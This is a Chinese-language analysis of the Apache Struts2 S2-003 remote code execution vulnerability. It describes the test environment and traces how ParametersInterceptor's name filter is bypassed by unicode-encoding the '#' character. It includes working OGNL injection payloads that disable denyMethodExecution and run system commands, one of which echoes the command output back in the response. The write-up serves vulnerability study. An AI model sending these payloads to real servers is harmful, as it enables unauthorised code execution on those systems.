S2-003 远程代码执行漏洞

漏洞信息

漏洞信息页面： https://cwiki.apache.org/confluence/display/WW/S2-003

漏洞成因官方概述：XWork ParameterInterceptors bypass allows OGNL statement execution

漏洞影响：

环境搭建

s2-003漏洞的payload用到了特殊字符，在高版本tomcat中会失败，需要使用tomcat6来测试。我使用的是6.0.9版本。此外导入的struts版本为2.0.11.2

漏洞利用

POC:

('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)

回显

('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

漏洞分析

在struts/xwork-2.0.5-sources.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.java:177 获取到我们传入的参数

在getValueStack之前，执行了一些初始化操作，比如：

OgnlContextState.setDenyMethodExecution(contextMap, true);

将xwork.MethodAccessor.denyMethodExecution设置为true。为了能够调用方法，需要在poc中的第一部分将denyMethodExecution设置为false，之后才能任意代码执行。

跟入setParameters(action, stack, parameters);至 struts/struts/xwork-2.0.5-sources.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.java:201。此部分开始通过迭代器取出一个个传入的参数，并进行处理。

假设此时我传入的参数如下，注意这个与poc的不同在于，我将第一个\u0023替换成了#。

('#context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)

跟入acceptableName至 struts/xwork-2.0.5-sources.jar!/com/opensymphony/xwork2/interceptor/ParametersInterceptor.java:271

protected boolean acceptableName(String name) {
        if (isAccepted(name) && !isExcluded(name)) {
            return true;
        }
        return false;
    }

跟入isAccepted(name)

这里通过简单的正则表达式[\p{Graph}&&[^,#:=]]*来检测，防止传入恶意特殊字符开头如#等。因此acceptableName返回false，接下来的ognl表达式自然也不会执行了。

if (acceptableName) {
    Object value = entry.getValue();
    ...
}

但如果传入经过编码后的payload。#对应的unicode为\u0023，八进制为\43，则可以绕过上述的检测，也即导致acceptableName为true，从而进一步执行。

在设置denyMethodExecution为false后，poc的第二部分就是通过方法调用来执行任意命令了：

('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\'calc\')')(bla)(bla)